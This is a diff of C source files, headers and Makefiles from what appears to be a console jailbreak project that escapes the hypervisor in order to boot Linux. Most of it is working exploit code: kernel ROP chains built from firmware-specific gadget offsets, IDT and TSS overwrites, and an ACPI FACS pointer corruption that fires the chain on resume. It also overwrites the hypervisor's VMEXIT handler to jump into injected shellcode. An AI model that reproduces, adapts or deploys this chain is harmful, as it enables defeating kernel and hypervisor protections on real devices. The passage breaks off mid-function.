for (int i = 0; i < 16; i++) {
|
||||
uintptr_t vc = vtophys_custom(g_vm_tab[i], hv_pml4);
|
||||
uintptr_t vmcb = vtophys_custom(*(uintptr_t *)(vc + 0x08), hv_pml4);
|
||||
|
||||
if (i == 0) {
|
||||
// Restore guest_apic_base.
|
||||
*(uint64_t *)(vc + 0xe8) =
|
||||
DEFAULT_APIC_BASE | APICBASE_ENABLED | APICBASE_BSP;
|
||||
}
|
||||
|
||||
// Disable nested paging.
|
||||
*(uint64_t *)(vmcb + 0x90) &= ~NESTED_CTRL_NP_ENABLE;
|
||||
}
|
||||
|
||||
// Restore host apic base.
|
||||
wrmsr(MSR_APICBASE, DEFAULT_APIC_BASE | APICBASE_ENABLED | APICBASE_BSP);
|
||||
|
||||
// Restore gs base.
|
||||
wrmsr(MSR_GSBASE,
|
||||
((uint64_t *)(fw_version == 0x0650 ? HV_STACK_TABLE_0650
|
||||
: HV_STACK_TABLE_07xx))[0] +
|
||||
0x1000);
|
||||
|
||||
// Reenter hypercore.
|
||||
void (*hv_reenter_hypercore)(void) =
|
||||
(void *)(fw_version == 0x0650 ? HV_REENTER_HYPERCORE_0650
|
||||
: HV_REENTER_HYPERCORE_07xx);
|
||||
hv_reenter_hypercore();
|
||||
while (1)
|
||||
;
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
#include "utils.h"
|
||||
#include <cpuid.h>
|
||||
|
||||
uint64_t vtophys_custom(uint64_t va, uint64_t cr3_custom) {
|
||||
uint64_t table_phys = cr3_custom & 0xFFFFFFFF;
|
||||
|
||||
for (int level = 0; level < 4; level++) {
|
||||
int shift = 39 - (level * 9);
|
||||
uint64_t idx = (va >> shift) & 0x1FF;
|
||||
uint64_t entry;
|
||||
uint64_t entry_va = PAGE_PA(table_phys) + idx * 8;
|
||||
|
||||
entry = *(uint64_t *)entry_va;
|
||||
|
||||
if (!PAGE_P(entry))
|
||||
return 0;
|
||||
|
||||
if ((level == 1 || level == 2) && PAGE_PS(entry)) {
|
||||
uint64_t page_size = P_SIZE(level);
|
||||
return PAGE_PA(entry) | (va & (page_size - 1));
|
||||
}
|
||||
|
||||
if (level == 3)
|
||||
return PAGE_PA(entry) | (va & 0xFFF);
|
||||
|
||||
table_phys = PAGE_PA(entry);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void wrmsr(uint32_t msr, uint64_t val) {
|
||||
uint32_t low = val & 0xFFFFFFFF;
|
||||
uint32_t high = val >> 32;
|
||||
__asm__ __volatile__("wrmsr" : : "a"(low), "d"(high), "c"(msr));
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
#ifndef UTILS_H
|
||||
#define UTILS_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
// Defines for Page management
|
||||
enum page_bits {
|
||||
P = 0,
|
||||
RW,
|
||||
US,
|
||||
PWT,
|
||||
PCD,
|
||||
A,
|
||||
D,
|
||||
PS,
|
||||
G,
|
||||
XO = 58,
|
||||
PK = 59,
|
||||
NX = 63
|
||||
};
|
||||
|
||||
#define PG_B_P (1ULL << P)
|
||||
#define PG_B_RW (1ULL << RW)
|
||||
#define PAGE_P(x) (x & (1ULL << P))
|
||||
#define PAGE_RW(x) (x & (1ULL << RW))
|
||||
#define PAGE_PS(x) (x & (1ULL << PS))
|
||||
#define PAGE_XO(x) (x & (1ULL << XO))
|
||||
#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO))
|
||||
#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G))
|
||||
#define PAGE_SET_RW(x) (x |= (1ULL << RW))
|
||||
#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL)
|
||||
#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21))
|
||||
|
||||
uint64_t vtophys_custom(uint64_t va, uint64_t cr3_custom);
|
||||
void wrmsr(uint32_t msr, uint64_t val);
|
||||
|
||||
#endif
|
||||
@@ -8,7 +8,7 @@ LD = ld
|
||||
OBJCOPY = objcopy
|
||||
endif
|
||||
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -mno-sse -mno-sse2 -m64
|
||||
LDFLAGS = -T linker.ld -Wl,--no-warn-rwx-segments
|
||||
LDFLAGS = -T linker.ld
|
||||
TARGET = shellcode_hv.elf
|
||||
TEXT_BIN = shellcode_hv.bin
|
||||
dump = shellcode_hv.h
|
||||
|
||||
@@ -57,14 +57,27 @@ static void e820_memory_setup(struct boot_params *bp) {
|
||||
append_e820_table(bp, 0x000070000, 0x0000a0000, E820_TYPE_RESERVED);
|
||||
append_e820_table(bp, 0x0000a0000, 0x0000c0000, E820_TYPE_RESERVED);
|
||||
append_e820_table(bp, 0x0000c0000, 0x000100000, E820_TYPE_RESERVED); // VBIOS
|
||||
append_e820_table(bp, 0x000100000, 0x03fffc000, E820_TYPE_RAM);
|
||||
append_e820_table(bp, 0x03fffc000, 0x040000000, E820_TYPE_RESERVED);
|
||||
append_e820_table(bp, 0x040000000, 0x060000000, E820_TYPE_RAM);
|
||||
append_e820_table(bp, 0x060000000, 0x060800000, E820_TYPE_RESERVED); // MP4
|
||||
append_e820_table(bp, 0x000100000, 0x001000000, E820_TYPE_RAM);
|
||||
if (info.kit_type == KIT_RETAIL_PRO) {
|
||||
append_e820_table(bp, 0x001000000, 0x040000000, E820_TYPE_RAM);
|
||||
} else {
|
||||
append_e820_table(bp, 0x001000000, 0x040000000, E820_TYPE_RESERVED);
|
||||
}
|
||||
if (info.kit_type == KIT_RETAIL_PRO) {
|
||||
append_e820_table(bp, 0x040000000, 0x060800000, E820_TYPE_RAM);
|
||||
} else {
|
||||
append_e820_table(bp, 0x040000000, 0x060000000, E820_TYPE_RAM);
|
||||
append_e820_table(bp, 0x060000000, 0x060800000, E820_TYPE_RESERVED); // MP4
|
||||
}
|
||||
append_e820_table(bp, 0x060800000, 0x060c00000, E820_TYPE_RESERVED); // VCN FW
|
||||
append_e820_table(bp, 0x060c00000, 0x062800000, E820_TYPE_RAM);
|
||||
append_e820_table(bp, 0x062800000, 0x064800000, E820_TYPE_RESERVED); // HV
|
||||
append_e820_table(bp, 0x064800000, 0x064829000, E820_TYPE_RESERVED); // MP3
|
||||
if (info.kit_type == KIT_RETAIL_PRO) {
|
||||
append_e820_table(bp, 0x060c00000, 0x064000000, E820_TYPE_RAM);
|
||||
append_e820_table(bp, 0x064000000, 0x064829000, E820_TYPE_RESERVED); // MP3
|
||||
} else {
|
||||
append_e820_table(bp, 0x060c00000, 0x062800000, E820_TYPE_RAM);
|
||||
append_e820_table(bp, 0x062800000, 0x064800000, E820_TYPE_RESERVED); // HV
|
||||
append_e820_table(bp, 0x064800000, 0x064829000, E820_TYPE_RESERVED); // MP3
|
||||
}
|
||||
append_e820_table(bp, 0x064829000, 0x07f9d0000, E820_TYPE_RAM);
|
||||
append_e820_table(bp, 0x07f9d0000, 0x07fd5f000, E820_TYPE_RESERVED);
|
||||
append_e820_table(bp, 0x07fd5f000, 0x07fd63000, E820_TYPE_RESERVED);
|
||||
@@ -79,8 +92,15 @@ static void e820_memory_setup(struct boot_params *bp) {
|
||||
append_e820_table(bp, 0x100000000, VRAM_BASE, E820_TYPE_RAM);
|
||||
append_e820_table(bp, VRAM_BASE, 0x470000000, E820_TYPE_RESERVED); // VRAM
|
||||
|
||||
if (info.kit_type == KIT_RETAIL_PRO) {
|
||||
append_e820_table(bp, 0x470000000, 0x47f300000, E820_TYPE_RAM);
|
||||
append_e820_table(bp, 0x47f300000, 0x880000000, E820_TYPE_RESERVED);
|
||||
append_e820_table(bp, 0x880000000, 0x8e0000000, E820_TYPE_RAM);
|
||||
append_e820_table(bp, 0x8e0000000, 0x8e2000000, E820_TYPE_RESERVED); // HV
|
||||
append_e820_table(bp, 0x8e2000000, 0x900000000, E820_TYPE_RAM);
|
||||
}
|
||||
// DevKits have 32GB
|
||||
if (info.kit_type != KIT_DEVKIT) {
|
||||
else if (info.kit_type != KIT_DEVKIT) {
|
||||
append_e820_table(bp, 0x470000000, 0x47f300000, E820_TYPE_RAM);
|
||||
append_e820_table(bp, 0x47f300000, 0x480000000, E820_TYPE_RESERVED);
|
||||
} else {
|
||||
@@ -116,7 +136,9 @@ void boot_linux(void) {
|
||||
shdr->ramdisk_size = info.initrd_size & 0xffffffff;
|
||||
bp->ext_ramdisk_image = info.initrd >> 32;
|
||||
bp->ext_ramdisk_size = info.initrd_size >> 32;
|
||||
bp->acpi_rsdp_addr = ACPI_RSDP_ADDRESS;
|
||||
bp->acpi_rsdp_addr = info.kit_type == KIT_RETAIL_PRO
|
||||
? ACPI_RSDP_ADDRESS_PRO
|
||||
: ACPI_RSDP_ADDRESS;
|
||||
|
||||
strcpy((char *)cmdline_pa, info.cmdline);
|
||||
|
||||
|
||||
@@ -16,6 +16,8 @@
|
||||
|
||||
#define ACPI_RSDP_ADDRESS 0x7fd8e014
|
||||
|
||||
#define ACPI_RSDP_ADDRESS_PRO 0x7fd8e000
|
||||
|
||||
#define AMDGPU_MMIO_BASE 0xe0600000
|
||||
|
||||
#define RCC_CONFIG_MEMSIZE 0x378c
|
||||
@@ -45,4 +47,4 @@
|
||||
void entry(void);
|
||||
void boot_linux(void);
|
||||
|
||||
enum kit_type { KIT_RETAIL, KIT_TESTKIT, KIT_DEVKIT };
|
||||
enum kit_type { KIT_RETAIL, KIT_TESTKIT, KIT_DEVKIT, KIT_RETAIL_PRO };
|
||||
@@ -8,7 +8,7 @@ LD = ld
|
||||
OBJCOPY = objcopy
|
||||
endif
|
||||
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -mno-sse -mno-sse2 -m64
|
||||
LDFLAGS = -T linker.ld -Wl,--no-warn-rwx-segments
|
||||
LDFLAGS = -T linker.ld
|
||||
TARGET = shellcode_kernel.elf
|
||||
TEXT_BIN = shellcode_kernel.bin
|
||||
dump = shellcode_kernel.h
|
||||
|
||||
@@ -60,12 +60,25 @@ struct dig_transmitter_control_parameters_v1_6 {
|
||||
|
||||
static struct linux_info info;
|
||||
|
||||
#if defined(FW_13XX_PORT)
|
||||
static int *mp3_req, *mp3_rsp;
|
||||
#else
|
||||
static int mp3_req[1281], mp3_rsp[1282];
|
||||
#endif
|
||||
|
||||
static inline void stac(void) { __asm__ volatile("stac" : : : "cc"); }
|
||||
|
||||
static inline void clac(void) { __asm__ volatile("clac" : : : "cc"); }
|
||||
|
||||
#if defined(FW_13XX_PORT)
|
||||
static uint64_t read_tsc(void) {
|
||||
uint32_t lo, hi;
|
||||
__asm__ volatile("rdtsc" : "=a"(lo), "=d"(hi));
|
||||
return ((uint64_t)hi << 32) | lo;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
static inline uint64_t vmmcall(uint64_t nr, uint64_t a0, uint64_t a1,
|
||||
uint64_t a2) {
|
||||
uint64_t ret;
|
||||
@@ -79,7 +92,7 @@ static inline uint64_t vmmcall(uint64_t nr, uint64_t a0, uint64_t a1,
|
||||
static uint64_t get_hv_shm(void) {
|
||||
if (args.fw_version >= 0x0500 && args.fw_version < 0x0600) {
|
||||
return 0x62a01000;
|
||||
} else if (args.fw_version >= 0x0600 && args.fw_version < 0x0650) {
|
||||
} else if (args.fw_version >= 0x0600 && args.fw_version < 0x0800) {
|
||||
return 0x62a22000;
|
||||
}
|
||||
return -1;
|
||||
@@ -131,23 +144,41 @@ static void install_hv_code(void) {
|
||||
*(uint64_t *)PHYS_TO_DMAP(l40_l3_addr + i * 8) = identity_pml40_l3[i];
|
||||
}
|
||||
|
||||
// Keep the HV trampoline mapped after switching CR3.
|
||||
uint64_t cave_index = args.hv_code_cave_pa >> 30;
|
||||
if (cave_index >= l3_size) {
|
||||
*(uint64_t *)PHYS_TO_DMAP(l40_l3_addr + cave_index * 8) =
|
||||
(cave_index << 30) | 0x83;
|
||||
}
|
||||
|
||||
// Install shellcode_hv
|
||||
memcpy((void *)PHYS_TO_DMAP(cave_hv_code), shellcode_hv_bin,
|
||||
shellcode_hv_bin_len);
|
||||
}
|
||||
|
||||
void patch_hv(void) {
|
||||
// Jump to shellcode final identity mapping
|
||||
uint8_t shellcode_jmp[] = {0x48, 0xC7, 0xC0, 0xAA,
|
||||
0xAA, 0xAA, 0xAA, // mov rax, 0xAAAAAAAA
|
||||
0xFF, 0xE0}; // jmp rax
|
||||
if (args.hv_code_cave_pa > 0x7fffffffULL) {
|
||||
// Pro HV code cave is above 4GB, needs 64-bit movabs.
|
||||
uint8_t shellcode_jmp[] = {0x48, 0xB8, 0xAA, 0xAA, 0xAA,
|
||||
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, imm64
|
||||
0xFF, 0xE0}; // jmp rax
|
||||
|
||||
// Update code cave in hv 1:1 region
|
||||
*(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;
|
||||
*(uint64_t *)(&shellcode_jmp[2]) = args.hv_code_cave_pa;
|
||||
memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp,
|
||||
sizeof(shellcode_jmp));
|
||||
} else {
|
||||
// Jump to shellcode final identity mapping
|
||||
uint8_t shellcode_jmp[] = {0x48, 0xC7, 0xC0, 0xAA,
|
||||
0xAA, 0xAA, 0xAA, // mov rax, 0xAAAAAAAA
|
||||
0xFF, 0xE0}; // jmp rax
|
||||
|
||||
// Just patch the VMEXIT handler directly, avoiding all checks
|
||||
memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp,
|
||||
sizeof(shellcode_jmp));
|
||||
// Update code cave in hv 1:1 region
|
||||
*(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;
|
||||
|
||||
// Just patch the VMEXIT handler directly, avoiding all checks
|
||||
memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp,
|
||||
sizeof(shellcode_jmp));
|
||||
}
|
||||
|
||||
uint8_t shellcode_identity_and_jmp[] = {
|
||||
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
|
||||
@@ -169,6 +200,11 @@ void patch_hv(void) {
|
||||
}
|
||||
|
||||
void boot_linux(void) {
|
||||
#if defined(FW_13XX_PORT)
|
||||
mp3_rsp = (int *)(args.linux_info_va + 0x1000);
|
||||
mp3_req = (int *)(args.linux_info_va + 0x2420);
|
||||
#endif
|
||||
|
||||
patch_hv();
|
||||
|
||||
// Common bootloader code
|
||||
@@ -179,6 +215,12 @@ void boot_linux(void) {
|
||||
// Enable DP phys link.
|
||||
dp_enable_link_phy(4, 30);
|
||||
|
||||
#if defined(FW_13XX_PORT)
|
||||
uint64_t start = read_tsc();
|
||||
while (read_tsc() - start < 0x14DC937FULL)
|
||||
__asm__ volatile("pause");
|
||||
#endif
|
||||
|
||||
// Initialize hdcp in mp3.
|
||||
mp3_initialize(0);
|
||||
mp3_set_hdcp_packet(0, 1);
|
||||
@@ -187,8 +229,9 @@ void boot_linux(void) {
|
||||
// Copy bzImage and initrd into contiguous memory.
|
||||
memcpy(&info, (void *)args.linux_info_va, sizeof(struct linux_info));
|
||||
|
||||
#if !defined(FW_13XX_PORT)
|
||||
info.n_tmrs = 0;
|
||||
if (args.fw_version >= 0x0500 && args.fw_version < 0x0650) {
|
||||
if (args.fw_version >= 0x0500 && args.fw_version < 0x0800) {
|
||||
SceSblHvShm *shm = (SceSblHvShm *)PHYS_TO_DMAP(get_hv_shm());
|
||||
|
||||
for (int i = 0; i < 64; i++) {
|
||||
@@ -200,6 +243,9 @@ void boot_linux(void) {
|
||||
}
|
||||
}
|
||||
}
|
||||
#else
|
||||
info.n_tmrs = 0;
|
||||
#endif
|
||||
|
||||
uintptr_t bzimage = info.bzimage;
|
||||
uintptr_t initrd = info.initrd;
|
||||
|
||||
@@ -15,4 +15,5 @@ SECTIONS
|
||||
*(.bss)
|
||||
*(.bss.*)
|
||||
}
|
||||
ASSERT(SIZEOF(.shell_code) <= (DEFINED(SHELLCODE_LIMIT) ? SHELLCODE_LIMIT : 0x100000), "shellcode exceeds kernel code cave")
|
||||
}
|
||||
+11
-2
@@ -1,6 +1,8 @@
|
||||
#include "main.h"
|
||||
#include "boot_linux.h"
|
||||
#if !defined(FW_13XX_PORT)
|
||||
#include "hv_defeat_0304.h"
|
||||
#endif
|
||||
#include "utils.h"
|
||||
#include <stddef.h>
|
||||
|
||||
@@ -22,17 +24,24 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
|
||||
return -1;
|
||||
}
|
||||
|
||||
#if defined(FW_13XX_PORT)
|
||||
if (args_ptr->fw_version < 0x1300 || args_ptr->fw_version >= 0x1400)
|
||||
return -1;
|
||||
activate_uart(args_ptr);
|
||||
#else
|
||||
activate_uart(args_ptr);
|
||||
|
||||
if ((0x0300 <= args_ptr->fw_version) && (args_ptr->fw_version < 0x0500)) {
|
||||
if (hv_defeat_0304(args_ptr))
|
||||
return -1;
|
||||
} else if ((0x0500 <= args_ptr->fw_version) &&
|
||||
(args_ptr->fw_version < 0x0650)) {
|
||||
(args_ptr->fw_version < 0x0800)) {
|
||||
// Already escaped.
|
||||
} else if (args_ptr->fw_version == 0x1320 || args_ptr->fw_version == 0x1360) {
|
||||
// Already escaped.
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// Now we can R/W on .text
|
||||
init_global_pointers(args_ptr);
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
ifeq ($(shell uname -m),aarch64)
|
||||
CC = x86_64-linux-gnu-gcc
|
||||
LD = x86_64-linux-gnu-ld
|
||||
OBJCOPY = x86_64-linux-gnu-objcopy
|
||||
else
|
||||
CC = gcc
|
||||
LD = ld
|
||||
OBJCOPY = objcopy
|
||||
endif
|
||||
CFLAGS = -Os -fno-stack-protector -ffreestanding -nostdlib \
|
||||
-fcf-protection=none -mno-sse -mno-sse2 -m64 -ffunction-sections \
|
||||
-fdata-sections -DFW_13XX_PORT=1
|
||||
LDFLAGS = -T ../shellcode_kernel/linker.ld \
|
||||
-Wl,--gc-sections,--defsym,SHELLCODE_LIMIT=0x3910
|
||||
TARGET = shellcode_kernel_13xx.elf
|
||||
TEXT_BIN = shellcode_kernel_13xx.bin
|
||||
dump = shellcode_kernel_13xx.h
|
||||
|
||||
SRC = main.c boot_linux.c utils.c
|
||||
OBJ = $(SRC:.c=.o)
|
||||
HEADERS = ../shellcode_kernel/main.h ../shellcode_kernel/boot_linux.h \
|
||||
../shellcode_kernel/utils.h ../shellcode_kernel/shellcode_kernel_args.h \
|
||||
../include/config.h ../include/linux.h ../shellcode_hv/shellcode_hv.h
|
||||
|
||||
all: $(dump)
|
||||
|
||||
$(TARGET): $(OBJ)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET)
|
||||
|
||||
$(OBJ): %.o: ../shellcode_kernel/%.c $(HEADERS)
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
$(TEXT_BIN): $(TARGET)
|
||||
$(OBJCOPY) -O binary -j .shell_code $(TARGET) $(TEXT_BIN)
|
||||
|
||||
clean:
|
||||
rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump)
|
||||
|
||||
$(dump): $(TEXT_BIN)
|
||||
xxd -i $(TEXT_BIN) > $(dump)
|
||||
|
||||
.PHONY: all clean
|
||||
@@ -0,0 +1,143 @@
|
||||
#include "hv_defeat_0607.h"
|
||||
#include "../shellcode_0607/shellcode_0607.h"
|
||||
#include "config.h"
|
||||
#include "utils.h"
|
||||
#include <machine/segments.h>
|
||||
#include <machine/tss.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#define IDT_SX 30
|
||||
|
||||
#define MSR_APICBASE 0x01b
|
||||
|
||||
#define APICBASE_ENABLED 0x00000800
|
||||
#define APICBASE_BSP 0x00000100
|
||||
|
||||
static void setidt(int idx, uintptr_t func, int typ, int dpl, int ist) {
|
||||
struct gate_descriptor ip = {};
|
||||
ip.gd_looffset = func;
|
||||
ip.gd_selector = GSEL(GCODE_SEL, SEL_KPL);
|
||||
ip.gd_ist = ist;
|
||||
ip.gd_xx = 0;
|
||||
ip.gd_type = typ;
|
||||
ip.gd_dpl = dpl;
|
||||
ip.gd_p = 1;
|
||||
ip.gd_hioffset = func >> 16;
|
||||
kwrite(ktext + env_offset.IDT + idx * sizeof(struct gate_descriptor), &ip,
|
||||
sizeof(ip));
|
||||
}
|
||||
|
||||
static uint64_t get_hv_stack(void) {
|
||||
if (fw >= 0x0700 && fw < 0x0800) {
|
||||
return 0x628ec000;
|
||||
}
|
||||
if (fw == 0x0650) {
|
||||
return 0x628d0000;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void build_gp_rop(uintptr_t ist) {
|
||||
uint64_t rop_buf[256] = {};
|
||||
uint64_t *rop = rop_buf;
|
||||
|
||||
// Copy shellcode_0607 to pa 0.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = pa_to_dmap(0);
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = kernel_cave_shellcode_0761;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
|
||||
*rop++ = shellcode_0607_bin_len;
|
||||
*rop++ = ktext + env_offset.FUN_MEMCPY;
|
||||
|
||||
// wrmsr(MSR_APICBASE, get_hv_stack() | APICBASE_ENABLED | APICBASE_BSP);
|
||||
uint64_t index = MSR_APICBASE;
|
||||
uint64_t value = get_hv_stack() | APICBASE_ENABLED | APICBASE_BSP;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RCX_RET;
|
||||
*rop++ = index;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RAX_RET;
|
||||
*rop++ = value & 0xffffffff;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
|
||||
*rop++ = value >> 32;
|
||||
*rop++ = ktext + env_offset.GAD_WRMSR_RET;
|
||||
|
||||
// Trigger hv code execution.
|
||||
*rop++ = ktext + env_offset.GAD_WRMSR_RET;
|
||||
|
||||
kwrite(ist + 0x1000, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf);
|
||||
}
|
||||
|
||||
static void build_sx_rop(uintptr_t ist, size_t shellcode_kernel_len) {
|
||||
uint64_t rop_buf[256] = {};
|
||||
uint64_t *rop = rop_buf;
|
||||
|
||||
// Copy shellcode.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = ktext + env_offset.KERNEL_CODE_CAVE;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = kernel_cave_shellcode;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
|
||||
*rop++ = shellcode_kernel_len;
|
||||
*rop++ = ktext + env_offset.FUN_MEMCPY;
|
||||
|
||||
// Jump to shellcode.
|
||||
*rop++ = ktext + env_offset.KERNEL_CODE_CAVE;
|
||||
|
||||
kwrite(ist + 0x1000, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf);
|
||||
}
|
||||
|
||||
static int update_sc_fw_version(uint64_t shellcode) {
|
||||
// Find the address 0x11AA11AA used as marker
|
||||
int offset = -1;
|
||||
for (uint64_t i = 0; i < 0x40; i++) {
|
||||
if (*(uint32_t *)(shellcode + i) == 0x11AA11AA) {
|
||||
offset = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (offset == -1) {
|
||||
notify("Could not find offset of shellcode fw version - Aborting\n");
|
||||
return -1;
|
||||
}
|
||||
*(uint32_t *)(shellcode + offset) = fw;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int hv_defeat_0607(void *shellcode_kernel, size_t shellcode_kernel_len) {
|
||||
void *shellcode_0607 =
|
||||
mmap(NULL, ALIGN_UP(shellcode_0607_bin_len, PAGE_SIZE),
|
||||
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
memcpy(shellcode_0607, shellcode_0607_bin, shellcode_0607_bin_len);
|
||||
|
||||
if (update_sc_fw_version((uint64_t)shellcode_0607))
|
||||
return -1;
|
||||
|
||||
for (int i = 0; i < shellcode_0607_bin_len; i += PAGE_SIZE) {
|
||||
install_page_syscore(kernel_cave_shellcode_0761 + i,
|
||||
vtophys_user((uintptr_t)shellcode_0607 + i), 0);
|
||||
}
|
||||
|
||||
uintptr_t ist_gp = pa_to_dmap(alloc_page());
|
||||
build_gp_rop(ist_gp);
|
||||
kwrite64(ktext + env_offset.COMMON_TSS + 0 * sizeof(struct amd64tss) +
|
||||
offsetof(struct amd64tss, tss_ist6),
|
||||
ist_gp + 0x1000);
|
||||
setidt(IDT_GP, ktext + env_offset.GAD_ADD_RSP_28_POP_RBP_RET, SDT_SYSIGT,
|
||||
SEL_KPL, 6);
|
||||
|
||||
uintptr_t ist_sx = pa_to_dmap(alloc_page());
|
||||
build_sx_rop(ist_sx, shellcode_kernel_len);
|
||||
kwrite64(ktext + env_offset.COMMON_TSS + 0 * sizeof(struct amd64tss) +
|
||||
offsetof(struct amd64tss, tss_ist7),
|
||||
ist_sx + 0x1000);
|
||||
setidt(IDT_SX, ktext + env_offset.GAD_ADD_RSP_28_POP_RBP_RET, SDT_SYSIGT,
|
||||
SEL_KPL, 7);
|
||||
|
||||
// During suspend, AcpiSetFirmwareWakingVector will corrupt its own pointer,
|
||||
// and during resume it will trigger #GP, thus executing our ROP chain.
|
||||
kwrite64(ktext + env_offset.ACPIGBL_FACS,
|
||||
ktext + env_offset.ACPIGBL_FACS - 8);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,460 @@
|
||||
#include "config.h"
|
||||
#include "hv_defeat_13xx.h"
|
||||
#include "khook.h"
|
||||
#include "shellcode_1360.h"
|
||||
#include "utils.h"
|
||||
#include <machine/segments.h>
|
||||
#include <machine/tss.h>
|
||||
#include <sys/cpuset.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define KH_POP_RSP_1360 0x291C42
|
||||
#define CARRIER_PA 0x3FFFF000
|
||||
#define HV_HEAP_POINTER_OFFSET 0x83028
|
||||
#define HV_PCPUS_POINTER_OFFSET 0x82A60
|
||||
|
||||
static int kernel_read(uint64_t address, void *buffer, size_t length) {
|
||||
return kernel_copyout((intptr_t)address, buffer, length);
|
||||
}
|
||||
|
||||
static int kernel_write(uint64_t address, const void *buffer, size_t length) {
|
||||
return kernel_copyin(buffer, (intptr_t)address, length);
|
||||
}
|
||||
|
||||
uint64_t kgadget(kgadget_t gadget) {
|
||||
uint64_t offset;
|
||||
|
||||
switch (gadget) {
|
||||
case KERNEL_GADGET_PIVOT_ADD_RSP28_RET:
|
||||
offset = env_offset.GAD_PIVOT_ADD_RSP28_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_IRETQ:
|
||||
offset = env_offset.GAD_IRETQ;
|
||||
break;
|
||||
case KERNEL_GADGET_POP_RAX:
|
||||
offset = fw == 0x1360 ? env_offset.GAD_RET_TRAMP - 1
|
||||
: env_offset.GAD_POP_RAX_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_POP_RCX:
|
||||
offset = env_offset.GAD_POP_RCX_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_POP_RDI:
|
||||
offset = env_offset.GAD_POP_RDI_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_POP_RSI:
|
||||
offset = env_offset.GAD_POP_RSI_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_POP_RDX:
|
||||
offset = env_offset.GAD_POP_RDX_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_POP_R8:
|
||||
offset = env_offset.GAD_POP_R8_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_POP_RSP:
|
||||
offset = fw == 0x1360 ? KH_POP_RSP_1360 : env_offset.GAD_POP_RSP_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_STORE_RCX_R8:
|
||||
offset = env_offset.GAD_STORE_RCX_R8_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_STORE_RDI8_RCX:
|
||||
offset = env_offset.GAD_STORE_RDI8_RCX_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_OR_RCX_EAX:
|
||||
offset = env_offset.GAD_OR_RCX_EAX_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_SET_DR7:
|
||||
offset = env_offset.GAD_SET_DR7_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_ST_RCX_RDX:
|
||||
offset = env_offset.GAD_STORE_RCX_RDX_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_ST_RCX_RAX:
|
||||
offset = env_offset.GAD_STORE_RCX_RAX_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_MOV_RAX_RSI:
|
||||
offset = env_offset.GAD_MOV_RAX_RSI_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_MOV_RAX_RDI:
|
||||
offset = env_offset.GAD_MOV_RAX_RDI_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_REP_MOVSB:
|
||||
offset = env_offset.GAD_REP_MOVSB_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_CLD:
|
||||
offset = env_offset.GAD_CLD_RET;
|
||||
break;
|
||||
case KERNEL_GADGET_RET_TRAMP:
|
||||
offset = env_offset.GAD_RET_TRAMP;
|
||||
break;
|
||||
case KERNEL_GADGET_DBREG_RESUME:
|
||||
offset = env_offset.GAD_DBREG_RESUME;
|
||||
break;
|
||||
default:
|
||||
return 0;
|
||||
}
|
||||
|
||||
return offset ? ktext + offset : 0;
|
||||
}
|
||||
|
||||
static int offsets_present(void) {
|
||||
if (fw != 0x1300 && fw != 0x1320 && fw != 0x1360)
|
||||
